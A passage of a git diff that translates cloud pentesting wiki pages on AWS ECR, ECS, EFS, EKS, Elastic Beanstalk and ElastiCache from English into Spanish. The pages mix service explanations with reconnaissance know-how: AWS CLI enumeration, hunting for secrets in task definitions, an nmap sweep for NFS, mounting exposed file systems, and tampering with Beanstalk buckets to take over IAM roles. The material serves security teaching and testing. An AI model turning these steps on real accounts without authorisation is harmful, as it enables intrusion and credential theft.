Registries**: +2. **Registros Públicos**: -- **Public accessibility**: Container images stored in an ECR Public registry are **accessible to anyone on the internet without authentication.** - - The URI of a **public repository** is like `public.ecr.aws//`. Although the `` part can be changed by the admin to another string easier to remember. +- **Accesibilidad pública**: Las imágenes de contenedor almacenadas en un registro público de ECR son **accesibles para cualquier persona en Internet sin autenticación.** +- El URI de un **repositorio público** es como `public.ecr.aws//`. Aunque la parte `` puede ser cambiada por el administrador a otra cadena más fácil de recordar. -**Repositories** +**Repositorios** -These are the **images** that in the **private registry** or to the **public** one. +Estas son las **imágenes** que están en el **registro privado** o en el **público**. > [!NOTE] -> Note that in order to upload an image to a repository, the **ECR repository need to have the same name as the image**. +> Tenga en cuenta que para subir una imagen a un repositorio, el **repositorio de ECR debe tener el mismo nombre que la imagen**. -#### Registry & Repository Policies +#### Políticas de Registro y Repositorio -**Registries & repositories** also have **policies that can be used to grant permissions to other principals/accounts**. For example, in the following repository policy image you can see how any user from the whole organization will be able to access the image: +**Registros y repositorios** también tienen **políticas que se pueden usar para otorgar permisos a otros principales/cuentas**. Por ejemplo, en la siguiente imagen de política de repositorio, puede ver cómo cualquier usuario de toda la organización podrá acceder a la imagen:
-#### Enumeration - +#### Enumeración ```bash # Get repos aws ecr describe-repositories @@ -68,39 +67,34 @@ aws ecr-public describe-repositories aws ecr get-registry-policy aws ecr get-repository-policy --repository-name ``` - -#### Unauthenticated Enum +#### Enum no autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md {{#endref}} -#### Privesc +#### Escalación de privilegios -In the following page you can check how to **abuse ECR permissions to escalate privileges**: +En la siguiente página puedes verificar cómo **abusar de los permisos de ECR para escalar privilegios**: {{#ref}} ../aws-privilege-escalation/aws-ecr-privesc.md {{#endref}} -#### Post Exploitation +#### Post explotación {{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}} -#### Persistence +#### Persistencia {{#ref}} ../aws-persistence/aws-ecr-persistence.md {{#endref}} -## References +## Referencias - [https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index cbbf596fe..bc0667b6d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -4,31 +4,30 @@ ## ECS -### Basic Information +### Información Básica -Amazon **Elastic Container Services** or ECS provides a platform to **host containerized applications in the cloud**. ECS has two **deployment** methods, **EC2** instance type and a **serverless** option, **Fargate**. The service **makes running containers in the cloud very easy and pain free**. +Amazon **Elastic Container Services** o ECS proporciona una plataforma para **alojar aplicaciones en contenedores en la nube**. ECS tiene dos **métodos de implementación**, tipo de instancia **EC2** y una opción **sin servidor**, **Fargate**. El servicio **hace que ejecutar contenedores en la nube sea muy fácil y sin complicaciones**. -ECS operates using the following three building blocks: **Clusters**, **Services**, and **Task Definitions**. +ECS opera utilizando los siguientes tres bloques de construcción: **Clusters**, **Services** y **Task Definitions**. -- **Clusters** are **groups of containers** that are running in the cloud. As previously mentioned, there are two launch types for containers, EC2 and Fargate. AWS defines the **EC2** launch type as allowing customers “to run \[their] containerized applications on a cluster of Amazon EC2 instances that \[they] **manage**”. **Fargate** is similar and is defined as “\[allowing] you to run your containerized applications **without the need to provision and manage** the backend infrastructure”. -- **Services** are created inside a cluster and responsible for **running the tasks**. Inside a service definition **you define the number of tasks to run, auto scaling, capacity provider (Fargate/EC2/External),** **networking** information such as VPC’s, subnets, and security groups. - - There **2 types of applications**: - - **Service**: A group of tasks handling a long-running computing work that can be stopped and restarted. For example, a web application. - - **Task**: A standalone task that runs and terminates. For example, a batch job. - - Among the service applications, there are **2 types of service schedulers**: - - [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): The replica scheduling strategy places and **maintains the desired number** of tasks across your cluster. If for some reason a task shut down, a new one is launched in the same or different node. - - [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Deploys exactly one task on each active container instance that has the needed requirements. There is no need to specify a desired number of tasks, a task placement strategy, or use Service Auto Scaling policies. -- **Task Definitions** are responsible for **defining what containers will run** and the various parameters that will be configured with the containers such as **port mappings** with the host, **env variables**, Docker **entrypoint**... - - Check **env variables for sensitive info**! +- **Clusters** son **grupos de contenedores** que se están ejecutando en la nube. Como se mencionó anteriormente, hay dos tipos de lanzamiento para contenedores, EC2 y Fargate. AWS define el tipo de lanzamiento **EC2** como permitir a los clientes “ejecutar \[sus] aplicaciones en contenedores en un clúster de instancias de Amazon EC2 que \[ellos] **gestionan**”. **Fargate** es similar y se define como “\[permitiendo] ejecutar sus aplicaciones en contenedores **sin necesidad de aprovisionar y gestionar** la infraestructura de backend”. +- **Services** se crean dentro de un clúster y son responsables de **ejecutar las tareas**. Dentro de una definición de servicio **se define el número de tareas a ejecutar, escalado automático, proveedor de capacidad (Fargate/EC2/Externo),** información de **red** como VPC, subredes y grupos de seguridad. +- Hay **2 tipos de aplicaciones**: +- **Service**: Un grupo de tareas que maneja un trabajo computacional de larga duración que puede ser detenido y reiniciado. Por ejemplo, una aplicación web. +- **Task**: Una tarea independiente que se ejecuta y termina. Por ejemplo, un trabajo por lotes. +- Entre las aplicaciones de servicio, hay **2 tipos de programadores de servicio**: +- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): La estrategia de programación de réplicas coloca y **mantiene el número deseado** de tareas en su clúster. Si por alguna razón una tarea se apaga, se lanza una nueva en el mismo o diferente nodo. +- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Despliega exactamente una tarea en cada instancia de contenedor activa que tenga los requisitos necesarios. No es necesario especificar un número deseado de tareas, una estrategia de colocación de tareas, o usar políticas de escalado automático de servicios. +- **Task Definitions** son responsables de **definir qué contenedores se ejecutarán** y los varios parámetros que se configurarán con los contenedores, como **mapeos de puertos** con el host, **variables de entorno**, **entrypoint** de Docker... +- ¡Verifique **variables de entorno para información sensible**! -### Sensitive Data In Task Definitions +### Datos Sensibles en las Definiciones de Tareas -Task definitions are responsible for **configuring the actual containers that will be running in ECS**. Since task definitions define how containers will run, a plethora of information can be found within. +Las definiciones de tareas son responsables de **configurar los contenedores reales que se ejecutarán en ECS**. Dado que las definiciones de tareas definen cómo se ejecutarán los contenedores, se puede encontrar una gran cantidad de información dentro. -Pacu can enumerate ECS (list-clusters, list-container-instances, list-services, list-task-definitions), it can also dump task definitions. - -### Enumeration +Pacu puede enumerar ECS (list-clusters, list-container-instances, list-services, list-task-definitions), también puede volcar definiciones de tareas. +### Enumeración ```bash # Clusters info aws ecs list-clusters @@ -52,35 +51,30 @@ aws ecs describe-tasks --cluster --tasks ## Look for env vars and secrets used from the task definition aws ecs describe-task-definition --task-definition : ``` - -### Unauthenticated Access +### Acceso No Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md {{#endref}} -### Privesc +### Escalación de Privilegios -In the following page you can check how to **abuse ECS permissions to escalate privileges**: +En la siguiente página puedes verificar cómo **abusar de los permisos de ECS para escalar privilegios**: {{#ref}} ../aws-privilege-escalation/aws-ecs-privesc.md {{#endref}} -### Post Exploitation +### Post Explotación {{#ref}} ../aws-post-exploitation/aws-ecs-post-exploitation.md {{#endref}} -### Persistence +### Persistencia {{#ref}} ../aws-persistence/aws-ecs-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index bcf4e58d4..7d72af654 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -4,22 +4,21 @@ ## EFS -### Basic Information +### Información Básica -Amazon Elastic File System (EFS) is presented as a **fully managed, scalable, and elastic network file system** by AWS. The service facilitates the creation and configuration of **file systems** that can be concurrently accessed by multiple EC2 instances and other AWS services. The key features of EFS include its ability to automatically scale without manual intervention, provision low-latency access, support high-throughput workloads, guarantee data durability, and seamlessly integrate with various AWS security mechanisms. +Amazon Elastic File System (EFS) se presenta como un **sistema de archivos de red completamente gestionado, escalable y elástico** por AWS. El servicio facilita la creación y configuración de **sistemas de archivos** que pueden ser accedidos simultáneamente por múltiples instancias de EC2 y otros servicios de AWS. Las características clave de EFS incluyen su capacidad para escalar automáticamente sin intervención manual, proporcionar acceso de baja latencia, soportar cargas de trabajo de alto rendimiento, garantizar la durabilidad de los datos e integrarse sin problemas con varios mecanismos de seguridad de AWS. -By **default**, the EFS folder to mount will be **`/`** but it could have a **different name**. +Por **defecto**, la carpeta EFS a montar será **`/`** pero podría tener un **nombre diferente**. -### Network Access +### Acceso a la Red -An EFS is created in a VPC and would be **by default accessible in all the VPC subnetworks**. However, the EFS will have a Security Group. In order to **give access to an EC2** (or any other AWS service) to mount the EFS, it’s needed to **allow in the EFS security group an inbound NFS** (2049 port) **rule from the EC2 Security Group**. +Un EFS se crea en una VPC y sería **por defecto accesible en todas las subredes de la VPC**. Sin embargo, el EFS tendrá un Grupo de Seguridad. Para **dar acceso a un EC2** (o cualquier otro servicio de AWS) para montar el EFS, es necesario **permitir en el grupo de seguridad de EFS una regla NFS entrante** (puerto 2049) **del Grupo de Seguridad de EC2**. -Without this, you **won't be able to contact the NFS service**. +Sin esto, **no podrás contactar el servicio NFS**. -For more information about how to do this check: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) - -### Enumeration +Para más información sobre cómo hacer esto, consulta: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) +### Enumeración ```bash # Get filesystems and access policies (if any) aws efs describe-file-systems @@ -39,12 +38,10 @@ aws efs describe-replication-configurations # Search for NFS in EC2 networks sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure ``` - > [!CAUTION] -> It might be that the EFS mount point is inside the same VPC but in a different subnet. If you want to be sure you find all **EFS points it would be better to scan the `/16` netmask**. - -### Mount EFS +> Puede ser que el punto de montaje de EFS esté dentro de la misma VPC pero en una subred diferente. Si quieres asegurarte de encontrar todos los **puntos de EFS, sería mejor escanear la máscara de red `/16`**. +### Montar EFS ```bash sudo mkdir /efs @@ -58,70 +55,63 @@ sudo yum install amazon-efs-utils # If centos sudo apt-get install amazon-efs-utils # If ubuntu sudo mount -t efs :/ /efs/ ``` - ### IAM Access -By **default** anyone with **network access to the EFS** will be able to mount, **read and write it even as root user**. However, File System policies could be in place **only allowing principals with specific permissions** to access it.\ -For example, this File System policy **won't allow even to mount** the file system if you **don't have the IAM permission**: - +Por **defecto**, cualquier persona con **acceso a la red al EFS** podrá montarlo, **leerlo y escribir en él incluso como usuario root**. Sin embargo, las políticas del sistema de archivos podrían estar en vigor **solo permitiendo a los principales con permisos específicos** acceder a él.\ +Por ejemplo, esta política del sistema de archivos **no permitirá ni siquiera montar** el sistema de archivos si **no tienes el permiso de IAM**: ```json { - "Version": "2012-10-17", - "Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797", - "Statement": [ - { - "Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "", - "Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018", - "Condition": { - "Bool": { - "elasticfilesystem:AccessedViaMountTarget": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797", +"Statement": [ +{ +"Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "", +"Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018", +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] } ``` - -Or this will **prevent anonymous access**: +O esto **prevendrá el acceso anónimo**:
-Note that to mount file systems protected by IAM you MUST use the type "efs" in the mount command: - +Ten en cuenta que para montar sistemas de archivos protegidos por IAM DEBES usar el tipo "efs" en el comando de montaje: ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ # To use a different pforile from ~/.aws/credentials # You can use: -o tls,iam,awsprofile=namedprofile ``` +### Puntos de Acceso -### Access Points +**Los puntos de acceso** son **puntos de entrada** específicos de **aplicación** **a un sistema de archivos EFS** que facilitan la gestión del acceso de la aplicación a conjuntos de datos compartidos. -**Access points** are **application**-specific entry points **into an EFS file system** that make it easier to manage application access to shared datasets. - -When you create an access point, you can **specify the owner and POSIX permissions** for the files and directories created through the access point. You can also **define a custom root directory** for the access point, either by specifying an existing directory or by creating a new one with the desired permissions. This allows you to **control access to your EFS file system on a per-application or per-user basis**, making it easier to manage and secure your shared file data. - -**You can mount the File System from an access point with something like:** +Cuando creas un punto de acceso, puedes **especificar el propietario y los permisos POSIX** para los archivos y directorios creados a través del punto de acceso. También puedes **definir un directorio raíz personalizado** para el punto de acceso, ya sea especificando un directorio existente o creando uno nuevo con los permisos deseados. Esto te permite **controlar el acceso a tu sistema de archivos EFS de manera específica por aplicación o por usuario**, facilitando la gestión y seguridad de tus datos de archivos compartidos. +**Puedes montar el sistema de archivos desde un punto de acceso con algo como:** ```bash # Use IAM if you need to use iam permissions sudo mount -t efs -o tls,[iam],accesspoint= \ - /efs/ + /efs/ ``` - > [!WARNING] -> Note that even trying to mount an access point you still need to be able to **contact the NFS service via network**, and if the EFS has a file system **policy**, you need **enough IAM permissions** to mount it. +> Tenga en cuenta que incluso al intentar montar un punto de acceso, aún necesita poder **contactar el servicio NFS a través de la red**, y si el EFS tiene una **política** de sistema de archivos, necesita **suficientes permisos de IAM** para montarlo. -Access points can be used for the following purposes: +Los puntos de acceso se pueden utilizar para los siguientes propósitos: -- **Simplify permissions management**: By defining a POSIX user and group for each access point, you can easily manage access permissions for different applications or users without modifying the underlying file system's permissions. -- **Enforce a root directory**: Access points can restrict access to a specific directory within the EFS file system, ensuring that each application or user operates within its designated folder. This helps prevent accidental data exposure or modification. -- **Easier file system access**: Access points can be associated with an AWS Lambda function or an AWS Fargate task, simplifying file system access for serverless and containerized applications. +- **Simplificar la gestión de permisos**: Al definir un usuario y grupo POSIX para cada punto de acceso, puede gestionar fácilmente los permisos de acceso para diferentes aplicaciones o usuarios sin modificar los permisos del sistema de archivos subyacente. +- **Hacer cumplir un directorio raíz**: Los puntos de acceso pueden restringir el acceso a un directorio específico dentro del sistema de archivos EFS, asegurando que cada aplicación o usuario opere dentro de su carpeta designada. Esto ayuda a prevenir la exposición o modificación accidental de datos. +- **Acceso más fácil al sistema de archivos**: Los puntos de acceso se pueden asociar con una función de AWS Lambda o una tarea de AWS Fargate, simplificando el acceso al sistema de archivos para aplicaciones sin servidor y en contenedores. ## Privesc @@ -142,7 +132,3 @@ Access points can be used for the following purposes: {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md index a7ead6d10..10bae8b60 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md @@ -4,17 +4,16 @@ ## EKS -Amazon Elastic Kubernetes Service (Amazon EKS) is designed to eliminate the need for users to install, operate, and manage their own Kubernetes control plane or nodes. Instead, Amazon EKS manages these components, providing a simplified way to deploy, manage, and scale containerized applications using Kubernetes on AWS. +Amazon Elastic Kubernetes Service (Amazon EKS) está diseñado para eliminar la necesidad de que los usuarios instalen, operen y gestionen su propio plano de control de Kubernetes o nodos. En su lugar, Amazon EKS gestiona estos componentes, proporcionando una forma simplificada de implementar, gestionar y escalar aplicaciones en contenedores utilizando Kubernetes en AWS. -Key aspects of Amazon EKS include: +Los aspectos clave de Amazon EKS incluyen: -1. **Managed Kubernetes Control Plane**: Amazon EKS automates critical tasks such as patching, node provisioning, and updates. -2. **Integration with AWS Services**: It offers seamless integration with AWS services for compute, storage, database, and security. -3. **Scalability and Security**: Amazon EKS is designed to be highly available and secure, providing features such as automatic scaling and isolation by design. -4. **Compatibility with Kubernetes**: Applications running on Amazon EKS are fully compatible with applications running on any standard Kubernetes environment. +1. **Plano de Control de Kubernetes Gestionado**: Amazon EKS automatiza tareas críticas como parches, aprovisionamiento de nodos y actualizaciones. +2. **Integración con Servicios de AWS**: Ofrece integración sin problemas con los servicios de AWS para computación, almacenamiento, bases de datos y seguridad. +3. **Escalabilidad y Seguridad**: Amazon EKS está diseñado para ser altamente disponible y seguro, proporcionando características como escalado automático y aislamiento por diseño. +4. **Compatibilidad con Kubernetes**: Las aplicaciones que se ejecutan en Amazon EKS son completamente compatibles con las aplicaciones que se ejecutan en cualquier entorno estándar de Kubernetes. #### Enumeration - ```bash aws eks list-clusters aws eks describe-cluster --name @@ -32,19 +31,14 @@ aws eks describe-nodegroup --cluster-name --nodegroup-name aws eks list-updates --name aws eks describe-update --name --update-id ``` - -#### Post Exploitation +#### Post Explotación {{#ref}} ../aws-post-exploitation/aws-eks-post-exploitation.md {{#endref}} -## References +## Referencias - [https://aws.amazon.com/eks/](https://aws.amazon.com/eks/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index 980504dac..827e7622b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -4,70 +4,69 @@ ## Elastic Beanstalk -Amazon Elastic Beanstalk provides a simplified platform for **deploying, managing, and scaling web applications and services**. It supports a variety of programming languages and frameworks, such as Java, .NET, PHP, Node.js, Python, Ruby, and Go, as well as Docker containers. The service is compatible with widely-used servers including Apache, Nginx, Passenger, and IIS. +Amazon Elastic Beanstalk proporciona una plataforma simplificada para **desplegar, gestionar y escalar aplicaciones y servicios web**. Soporta una variedad de lenguajes de programación y frameworks, como Java, .NET, PHP, Node.js, Python, Ruby y Go, así como contenedores Docker. El servicio es compatible con servidores de uso común, incluyendo Apache, Nginx, Passenger e IIS. -Elastic Beanstalk provides a simple and flexible way to **deploy your applications to the AWS cloud**, without the need to worry about the underlying infrastructure. It **automatically** handles the details of capacity **provisioning**, load **balancing**, **scaling**, and application health **monitoring**, allowing you to focus on writing and deploying your code. +Elastic Beanstalk proporciona una forma simple y flexible de **desplegar tus aplicaciones en la nube de AWS**, sin necesidad de preocuparse por la infraestructura subyacente. **Automáticamente** maneja los detalles de la **provisión** de capacidad, **balanceo** de carga, **escalado** y **monitoreo** de la salud de la aplicación, permitiéndote concentrarte en escribir y desplegar tu código. -The infrastructure created by Elastic Beanstalk is managed by **Autoscaling** Groups in **EC2** (with a load balancer). Which means that at the end of the day, if you **compromise the host**, you should know about about EC2: +La infraestructura creada por Elastic Beanstalk es gestionada por **Grupos de Autoescalado** en **EC2** (con un balanceador de carga). Lo que significa que al final del día, si **comprometes el host**, deberías saber sobre EC2: {{#ref}} aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -Moreover, if Docker is used, it’s possible to use **ECS**. +Además, si se utiliza Docker, es posible usar **ECS**. {{#ref}} aws-eks-enum.md {{#endref}} -### Application & Environments +### Aplicación y Entornos -In AWS Elastic Beanstalk, the concepts of an "application" and an "environment" serve different purposes and have distinct roles in the deployment process. +En AWS Elastic Beanstalk, los conceptos de "aplicación" y "entorno" sirven para diferentes propósitos y tienen roles distintos en el proceso de despliegue. -#### Application +#### Aplicación -- An application in Elastic Beanstalk is a **logical container for your application's source code, environments, and configurations**. It groups together different versions of your application code and allows you to manage them as a single entity. -- When you create an application, you provide a name and **description, but no resources are provisioned** at this stage. it is simply a way to organize and manage your code and related resources. -- You can have **multiple application versions** within an application. Each version corresponds to a specific release of your code, which can be deployed to one or more environments. +- Una aplicación en Elastic Beanstalk es un **contenedor lógico para el código fuente de tu aplicación, entornos y configuraciones**. Agrupa diferentes versiones de tu código de aplicación y te permite gestionarlas como una sola entidad. +- Cuando creas una aplicación, proporcionas un nombre y **descripción, pero no se provisionan recursos** en esta etapa. Es simplemente una forma de organizar y gestionar tu código y recursos relacionados. +- Puedes tener **múltiples versiones de aplicación** dentro de una aplicación. Cada versión corresponde a un lanzamiento específico de tu código, que puede ser desplegado en uno o más entornos. -#### Environment +#### Entorno -- An environment is a **provisioned instance of your application** running on AWS infrastructure. It is **where your application code is deployed and executed**. Elastic Beanstalk provisions the necessary resources (e.g., EC2 instances, load balancers, auto-scaling groups, databases) based on the environment configuration. -- **Each environment runs a single version of your application**, and you can have multiple environments for different purposes, such as development, testing, staging, and production. -- When you create an environment, you choose a platform (e.g., Java, .NET, Node.js, etc.) and an environment type (e.g., web server or worker). You can also customize the environment configuration to control various aspects of the infrastructure and application settings. +- Un entorno es una **instancia provisionada de tu aplicación** que se ejecuta en la infraestructura de AWS. Es **donde se despliega y ejecuta el código de tu aplicación**. Elastic Beanstalk provisiona los recursos necesarios (por ejemplo, instancias EC2, balanceadores de carga, grupos de autoescalado, bases de datos) según la configuración del entorno. +- **Cada entorno ejecuta una sola versión de tu aplicación**, y puedes tener múltiples entornos para diferentes propósitos, como desarrollo, pruebas, preproducción y producción. +- Cuando creas un entorno, eliges una plataforma (por ejemplo, Java, .NET, Node.js, etc.) y un tipo de entorno (por ejemplo, servidor web o trabajador). También puedes personalizar la configuración del entorno para controlar varios aspectos de la infraestructura y la configuración de la aplicación. -### 2 types of Environments +### 2 tipos de Entornos -1. **Web Server Environment**: It is designed to **host and serve web applications and APIs**. These applications typically handle incoming HTTP/HTTPS requests. The web server environment provisions resources such as **EC2 instances, load balancers, and auto-scaling** groups to handle incoming traffic, manage capacity, and ensure the application's high availability. -2. **Worker Environment**: It is designed to process **background tasks**, which are often time-consuming or resource-intensive operations that don't require immediate responses to clients. The worker environment provisions resources like **EC2 instances and auto-scaling groups**, but it **doesn't have a load balancer** since it doesn't handle HTTP/HTTPS requests directly. Instead, it consumes tasks from an **Amazon Simple Queue Service (SQS) queue**, which acts as a buffer between the worker environment and the tasks it processes. +1. **Entorno de Servidor Web**: Está diseñado para **albergar y servir aplicaciones web y APIs**. Estas aplicaciones generalmente manejan solicitudes HTTP/HTTPS entrantes. El entorno de servidor web provisiona recursos como **instancias EC2, balanceadores de carga y grupos de autoescalado** para manejar el tráfico entrante, gestionar la capacidad y asegurar la alta disponibilidad de la aplicación. +2. **Entorno de Trabajador**: Está diseñado para procesar **tareas en segundo plano**, que a menudo son operaciones que consumen tiempo o recursos y que no requieren respuestas inmediatas a los clientes. El entorno de trabajador provisiona recursos como **instancias EC2 y grupos de autoescalado**, pero **no tiene un balanceador de carga** ya que no maneja solicitudes HTTP/HTTPS directamente. En su lugar, consume tareas de una **cola de Amazon Simple Queue Service (SQS)**, que actúa como un búfer entre el entorno de trabajador y las tareas que procesa. -### Security +### Seguridad -When creating an App in Beanstalk there are 3 very important security options to choose: +Al crear una aplicación en Beanstalk, hay 3 opciones de seguridad muy importantes para elegir: -- **EC2 key pair**: This will be the **SSH key** that will be able to access the EC2 instances running the app -- **IAM instance profile**: This is the **instance profile** that the instances will have (**IAM privileges**) - - The autogenerated role is called **`aws-elasticbeanstalk-ec2-role`** and has some interesting access over all ECS, all SQS, DynamoDB elasticbeanstalk and elasticbeanstalk S3 using the AWS managed policies: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). -- **Service role**: This is the **role that the AWS service** will use to perform all the needed actions. Afaik, a regular AWS user cannot access that role. - - This role generated by AWS is called **`aws-elasticbeanstalk-service-role`** and uses the AWS managed policies [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) and [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) +- **Par de claves EC2**: Esta será la **clave SSH** que podrá acceder a las instancias EC2 que ejecutan la aplicación. +- **Perfil de instancia IAM**: Este es el **perfil de instancia** que tendrán las instancias (**privilegios IAM**). +- El rol autogenerado se llama **`aws-elasticbeanstalk-ec2-role`** y tiene acceso interesante sobre todo ECS, todo SQS, DynamoDB elasticbeanstalk y elasticbeanstalk S3 utilizando las políticas gestionadas por AWS: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). +- **Rol de servicio**: Este es el **rol que el servicio de AWS** utilizará para realizar todas las acciones necesarias. Hasta donde sé, un usuario regular de AWS no puede acceder a ese rol. +- Este rol generado por AWS se llama **`aws-elasticbeanstalk-service-role`** y utiliza las políticas gestionadas por AWS [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) y [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) -By default **metadata version 1 is disabled**: +Por defecto, **la versión de metadatos 1 está deshabilitada**:
-### Exposure +### Exposición -Beanstalk data is stored in a **S3 bucket** with the following name: **`elasticbeanstalk--`**(if it was created in the AWS console). Inside this bucket you will find the uploaded **source code of the application**. +Los datos de Beanstalk se almacenan en un **bucket S3** con el siguiente nombre: **`elasticbeanstalk--`** (si fue creado en la consola de AWS). Dentro de este bucket encontrarás el **código fuente de la aplicación** subido. -The **URL** of the created webpage is **`http://-env...elasticbeanstalk.com/`** +La **URL** de la página web creada es **`http://-env...elasticbeanstalk.com/`** > [!WARNING] -> If you get **read access** over the bucket, you can **read the source code** and even find **sensitive credentials** on it +> Si obtienes **acceso de lectura** sobre el bucket, puedes **leer el código fuente** e incluso encontrar **credenciales sensibles** en él. > -> if you get **write access** over the bucket, you could **modify the source code** to **compromise** the **IAM role** the application is using next time it's executed. - -### Enumeration +> Si obtienes **acceso de escritura** sobre el bucket, podrías **modificar el código fuente** para **comprometer** el **rol IAM** que la aplicación está utilizando la próxima vez que se ejecute. +### Enumeración ```bash # Find S3 bucket ACCOUNT_NUMBER= @@ -85,33 +84,28 @@ aws elasticbeanstalk describe-instances-health --environment-name # G # Get events aws elasticbeanstalk describe-events ``` - -### Unauthenticated Access +### Acceso No Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md {{#endref}} -### Persistence +### Persistencia {{#ref}} ../aws-persistence/aws-elastic-beanstalk-persistence.md {{#endref}} -### Privesc +### Escalación de Privilegios {{#ref}} ../aws-privilege-escalation/aws-elastic-beanstalk-privesc.md {{#endref}} -### Post Exploitation +### Post Explotación {{#ref}} ../aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md index 6305fcc91..8e2a32edb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md @@ -4,10 +4,9 @@ ## ElastiCache -AWS ElastiCache is a fully **managed in-memory data store and cache service** that provides high-performance, low-latency, and scalable solutions for applications. It supports two popular open-source in-memory engines: **Redis and Memcached**. ElastiCache **simplifies** the **setup**, **management**, and **maintenance** of these engines, allowing developers to offload time-consuming tasks such as provisioning, patching, monitoring, and **backups**. +AWS ElastiCache es un **servicio de almacenamiento de datos en memoria y caché completamente gestionado** que proporciona soluciones de alto rendimiento, baja latencia y escalables para aplicaciones. Soporta dos motores en memoria de código abierto populares: **Redis y Memcached**. ElastiCache **simplifica** la **configuración**, **gestión** y **mantenimiento** de estos motores, permitiendo a los desarrolladores descargar tareas que consumen tiempo, como aprovisionamiento, parches, monitoreo y **copias de seguridad**. ### Enumeration - ```bash # ElastiCache clusters ## Check the SecurityGroups to later check who can access @@ -39,11 +38,6 @@ aws elasticache describe-users # List ElastiCache events aws elasticache describe-events 